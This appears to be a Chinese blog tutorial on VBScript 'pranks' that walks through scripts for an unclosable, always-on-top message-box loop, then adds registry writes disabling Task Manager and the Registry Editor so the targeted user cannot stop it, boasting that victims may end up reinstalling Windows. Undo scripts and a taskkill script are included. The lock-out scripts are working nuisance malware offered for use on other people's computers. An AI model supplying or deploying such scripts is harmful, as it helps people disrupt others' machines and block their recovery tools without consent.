VBS带你领略脚本语言的快乐!(实战篇—死循环)

用VBS让电脑欲哭无泪

前言

   经过了前面几章对VBS操作的了解,我们顺利的进入了令人期待的实战篇(其实是恶搞片)。恶搞,,,呸,实战篇我依然会对代码进行解析,但不会像讲基础那样细节,如果有听不懂的地方,可以回顾一下前几章。
   
   传送门:1. 入门篇2.基础篇3. 注册表篇
   

一、死循环!

   一个靠自身控制无法终止的程序称为“死循环”。在编程中死循环并不是一个需要避免的问题,相反,在实际应用中,我们经常需要用到死循环。
   

代码1:
do
msgbox "666"
loop

   创建一个死循环,让他一直弹出窗口,无论怎么点击都关不掉。这是初学者最喜欢的一种,简单方便,对付电脑小白很好用,但遇到一些稍微懂点电脑的就很容易被关掉。
   

解决方法:

   按“Ctrl+Shift+ESC”快捷键打开“任务管理器”,在进程里面找到一个名为“Microsoft ® Windows Based Script Host”的进程,然后结束它就OK。
   

二、破解VBS死循环的万能钥匙

   我们身为编写者,需要不断地在自己电脑上修改并测试,像上面的死循环,虽说有解决方法,但解决过程重复繁琐,测试时将会消耗不少的时间,所以我们先编写一个能随时结束死循环的脚本。

代码2:
Set Objshell=CreateObject("wscript.shell")
Objshell.run"taskkill -f -t -im wscript.exe"

   实现起来很简单,使用系统的“taskkill”命令结束VBS的进程就OK了。
   

三、改造代码1

   “代码1”脚本过于简单,有些佛系小白都不理它,接着干别的事,因为这个脚本还没有威胁到他的使用,而我们也就没有达到目的,这可不行,我们得给他上才艺!
   

代码3:
do
msgbox "666",4096
loop

   我们只需要在它第二个参数上写“4096”,这个窗口就会被置顶显示,不管他打开什么,你的窗口总是会出现在最上面,再佛系的人也忍不了。
   
   vbSystemModal 4096 系统模式:在用户响应消息框前,所有应用程序都会被挂起。
   
   解决了小白,我们就要照顾一下大佬了,咱们也不能总欺负小白。大佬会打开任务管理器,然后找到进程并把它结束,既然这样,那我们就禁用任务管理器!而这就涉及到了注册表操作。我们继续修改代码。
   

代码4:
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
do
msgbox "666",4096
loop

   这里添加的三段代码,就是禁用任务管理器。前面说过,在你不是很了解注册表的时候千万不要胡乱修改,因为你改了,可能就改不回来了,从而导致很多麻烦,但在我们有代码的情况下就不怕这种麻烦了,想要解除任务管理器的禁用只需要把参数1改回0就行了。
   

解除禁用任务管理器:
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

   

四、改造代码4

   至此为止,对付大部分人已经足够了,但对付那些对注册表非常清楚的大佬还是不行,他们完全可以手动将注册表改回正常,本人有幸尝过自己的代码,在百度的帮助下改回去是没问题的。
   既然要做,那就做绝一点,不能丢了面子是吧,既然他会手动修改注册表,那我们就把他注册表禁用了!
   

代码5:
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
do
msgbox "666",4096
loop

   这里在禁用任务管理器的代码后面又追加了一条禁用注册表的代码。
   
   注册表都被禁用了,那还能改的回来吗?万一自己不小心打开了怎么办?不用怕,还是那句话,我们有代码就不怕麻烦,参数从1改回0,就OK了。
   

解除禁用注册表
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"

   
   到代码5,我们这个简单的死循环也就算了大成了,虽说没几行代码,却很实用,有点脾气的人可能已经在重装系统了(偷笑)。
   

结束语

   我们可以看出VBS并不严谨,代码基本都是拼凑起来就能用,所以学起来也很快。博主编写的都是一些娱乐为主的代码,稍微麻烦或危险的,我也会放出解决方法。危险的也有,在后面会放出来,感兴趣的同学点点关注,不迷路。
   

  • 13
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 15
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晓时谷雨

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值